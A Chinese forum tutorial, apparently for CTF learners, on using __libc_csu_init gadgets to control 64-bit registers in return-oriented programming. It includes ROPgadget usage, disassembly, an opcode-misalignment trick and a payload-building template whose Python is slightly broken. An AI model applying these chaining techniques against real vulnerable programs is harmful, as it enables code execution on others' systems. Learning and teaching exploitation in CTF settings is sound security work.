-
-
[分享]利用__libc_csu_init控制64位寄存器
-
2021-10-5 20:37 26382
-
利用ROPgadget寻找ROP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | usage: ROPgadget.py [ - h] [ - v] [ - c] [ - - binary <binary>] [ - - opcode <opcodes>] [ - - string <string>] [ - - memstr <string>] [ - - depth <nbyte>] [ - - only <key>] [ - - filter <key>] [ - - range <start - end>] [ - - badbytes <byte>] [ - - rawArch <arch>] [ - - rawMode <mode>] [ - - rawEndian <endian>] [ - - re <re>] [ - - offset <hexaddr>] [ - - ropchain] [ - - thumb] [ - - console] [ - - norop] [ - - nojop] [ - - callPreceded] [ - - nosys] [ - - multibr] [ - - all ] [ - - noinstr] [ - - dump] 参数 - h, - - help 显示帮助文档 - v, - - version 版本号 - c, - - checkUpdate 检测新版本是否可用 - - binary <binary> 指定二进制文件进行分析 - - opcode <opcodes> 在可执行段中查找opcode - - string <string> 在可读的段中查找字符串 - - memstr <string> 查找单个byte在所有的可执行段中 - - depth <nbyte> 搜索引擎的深度 - - only <key> 只显示特别的指令 - - filter <key> 过滤特定指令 - - range <start - end> 在地址之间寻找( 0x ... - 0x ...) - - badbytes <byte> 拒绝特定指令在gadget的地址下 - - rawArch <arch> 指定文件架构 - - rawMode <mode> 指定源文件的mode - - rawEndian <endian> 指定源文件的endianness - - re <re> 正则表达式 - - offset <hexaddr> 指定gadget的地址偏移 - - ropchain ROP chain的生成 - - thumb 在ARM架构下使用搜索引擎thumb 模式 - - console 使用交互终端对于搜索引擎 - - norop 禁止ROP搜索引擎 - - nojop 禁止JOP搜索引擎 - - callPreceded 仅显示call - preceded的gadgets - - nosys 禁止SYS搜索引擎 - - multibr 允许多分枝gadgets - - all 禁止删除重复的gadgets,即显示所有 - - noinstr 禁止gadget指令终端打印 - - dump 输出gadget bytes |
举个栗子
但是对于64位的来说 ROPgadget预设的长度是不够的
所以 我们可以使用ROPgadget --binary ./b --depth 100
来加深他的搜索深度
利用_libc_csu_init制造ROP
常规方法
我们前面说的利用ROPgadget来寻找,大多都是找到直接设置某个寄存器的rop,当然也可以使用--ropchain
这个参数
下面看看利用_libc_csu_init制造rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | ; void _libc_csu_init(void) .text: 0000000000400650 public __libc_csu_init .text: 0000000000400650 __libc_csu_init proc near ; DATA XREF: _start + 16 ↑o .text: 0000000000400650 ; __unwind { .text: 0000000000400650 41 57 push r15 .text: 0000000000400652 41 89 FF mov r15d, edi .text: 0000000000400655 41 56 push r14 .text: 0000000000400657 49 89 F6 mov r14, rsi .text: 000000000040065A 41 55 push r13 .text: 000000000040065C 49 89 D5 mov r13, rdx .text: 000000000040065F 41 54 push r12 .text: 0000000000400661 4C 8D 25 D8 01 20 00 lea r12, __frame_dummy_init_array_entry .text: 0000000000400668 55 push rbp .text: 0000000000400669 48 8D 2D D8 01 20 00 lea rbp, __do_global_dtors_aux_fini_array_entry .text: 0000000000400670 53 push rbx .text: 0000000000400671 4C 29 E5 sub rbp, r12 .text: 0000000000400674 31 DB xor ebx, ebx .text: 0000000000400676 48 C1 FD 03 sar rbp, 3 .text: 000000000040067A 48 83 EC 08 sub rsp, 8 .text: 000000000040067E E8 FD FD FF FF call _init_proc .text: 0000000000400683 48 85 ED test rbp, rbp .text: 0000000000400686 74 1E jz short loc_4006A6 .text: 0000000000400688 0F 1F 84 00 00 00 00 00 nop dword ptr [rax + rax + 00000000h ] .text: 0000000000400690 .text: 0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init + 54 ↓j .text: 0000000000400690 4C 89 EA mov rdx, r13 .text: 0000000000400693 4C 89 F6 mov rsi, r14 .text: 0000000000400696 44 89 FF mov edi, r15d .text: 0000000000400699 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600840h )[r12 + rbx * 8 ] .text: 000000000040069D 48 83 C3 01 add rbx, 1 .text: 00000000004006A1 48 39 EB cmp rbx, rbp .text: 00000000004006A4 75 EA jnz short loc_400690 .text: 00000000004006A6 .text: 00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init + 36 ↑j .text: 00000000004006A6 48 83 C4 08 add rsp, 8 .text: 00000000004006AA 5B pop rbx .text: 00000000004006AB 5D pop rbp .text: 00000000004006AC 41 5C pop r12 .text: 00000000004006AE 41 5D pop r13 .text: 00000000004006B0 41 5E pop r14 .text: 00000000004006B2 41 5F pop r15 .text: 00000000004006B4 C3 retn .text: 00000000004006B4 ; } / / starts at 400650 .text: 00000000004006B4 __libc_csu_init endp |
这里我们首先可以利用的点:
从0x00000000004006AA一直到结尾,我们可以利用溢出构造栈上数据来控制rbx、rbp、r12、r13、r14、r15
寄存器的数据。如下:
1 2 3 4 5 6 7 8 9 | .text: 00000000004006AA 5B pop rbx .text: 00000000004006AB 5D pop rbp .text: 00000000004006AC 41 5C pop r12 ( = >call addr) .text: 00000000004006AE 41 5D pop r13 ( = >rdx) .text: 00000000004006B0 41 5E pop r14 ( = >rsi) .text: 00000000004006B2 41 5F pop r15 ( = >rdi) .text: 00000000004006B4 C3 retn .text: 00000000004006B4 ; } / / starts at 400650 .text: 00000000004006B4 __libc_csu_init endp |
另外,我们可以从0x0000000000400690到0x0000000000400696,将r13赋值给rdx、将r14赋值给rsi、将r15d赋值给edi,但在调试的过程中,会发现rdi的高32位置0,所以我们可以控制rdx、rsi、rdi
,我们可以利用上面的控制r12、rbx
(r12=addr rbx=0)来控制跳转地址,我们也可以(r12=0,rbx=0)实现不跳转到其他地方
1 2 3 4 5 | .text: 0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init + 54 ↓j .text: 0000000000400690 4C 89 EA mov rdx, r13 .text: 0000000000400693 4C 89 F6 mov rsi, r14 .text: 0000000000400696 44 89 FF mov edi, r15d .text: 0000000000400699 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600840h )[r12 + rbx * 8 ] |
从0x000000000040069D到0x00000000004006A4,我们可以控制rbx与rbp的关系为rbx + 1 = rbp,这样我们就不会重复执行上面的loc_400690了,如果要串起来,rbx=0 rbp=1
1 2 3 | .text: 000000000040069D 48 83 C3 01 add rbx, 1 .text: 00000000004006A1 48 39 EB cmp rbx, rbp .text: 00000000004006A4 75 EA jnz short loc_400690 |
总结一下上面的常规利用方法的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | gadget1 = 0x04006AA gadget2 = 0x0400690 / / 控制rbx、rbp、r12、r13、r14、r15 csu_end(rbx,rbp,r12,r13,r14,r15): payload = p64(rbx) + p64(rbp) + r64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(gadget1) return payload / / 如果要跳转到另外一个地址就传入地址 不跳转直接缺省 / / addr1是中途可以跳转的地址 addr2是最后可以跳转的地址 / / 控制rdx、rsi、rdi csu_init1(rdx,rsi,rdi,addr1 = 0 ,addr2 = deadbeef): payload = csu_end( 0 , 1 ,addr1,rdx,rsi,rdi) payload + = p64(gadget2) + 'a' * ( 8 * 6 + 0x8 ) + p64(addr2) / / 0x8 是填充原来的 8 * 6 实际是csu_end的六个地址 return payload / / addr1设置成需要跳转的地址 addr2设置成gadget2 可以进行一个循环的利用 payload = csu_init1(rdx,rsi,rdi,addr1 = target_addr,addr2 = gadget2) payload + = csu_init1(rdx,rsi,rdi,addr1 = target_addr,addr2 = gadget2) / / 当然你可以把上面的 8 * 6 改换成rbx、rbp、r12、r13、r14、r15, csu_init1(rdx,rsi,rdi,addr1 = 0 ,addr2 = deadbeef,rbx,rbp,r12,r13,r14,r15): payload = csu_end( 0 , 1 ,addr1,rdx,rsi,rdi) payload + = p64(gadget2) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + 'a' * ( 0x8 ) + p64(addr2) return payload / / 我记得这个可以用来绕过沙箱,但那个题我找不到了 当然用其他gadget也可以 |
opcode
上面说的是一个常规的用法,还有一种用法是关于opcode的
1 2 3 4 5 6 7 8 9 | .text: 00000000004006AA 5B pop rbx( = > 0 ) .text: 00000000004006AB 5D pop rbp ( = > 1 ) .text: 00000000004006AC 41 5C pop r12 ( = >call addr) .text: 00000000004006AE 41 5D pop r13 ( = >rdx) .text: 00000000004006B0 41 5E pop r14 ( = >rsi) .text: 00000000004006B2 41 5F pop r15 ( = >rdi) .text: 00000000004006B4 C3 retn .text: 00000000004006B4 ; } / / starts at 400650 .text: 00000000004006B4 __libc_csu_init endp |
pop rbx -------> 5B
pop rbp -------> 5D
pop r12 -------> 41 5C
pop r13 -------> 41 5D
pop r14 -------> 41 5E
pop r15 -------> 41 5F
是的,pop r13
只比pop rbp
多一个41
,其他的寄存器也是一样的
pop r12 -------> pop rsp
pop r13 -------> pop rbp
pop r14 -------> pop rsi
pop r15 -------> pop rdi
这一下,我们现在就可以增加控制3个寄存器了,现在我们可以控制rbx、rbp、r12、r13、r14、r15、rdx、rsi、rdi、rsp、rsi
,但是似乎不可能有什么要同时控制这么多寄存器的,写出来脚本也没有什么意义
其他控制寄存器的方法
控制rax
- gets、fgets回传buff(rax=rdi)
- strcpy,strncpy
- alarm
控制rcx
- strcpy可能会让ecx = 输入字串
有些函数的返回值可能会影响寄存器,这些地方还是比较隐蔽的
参考
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界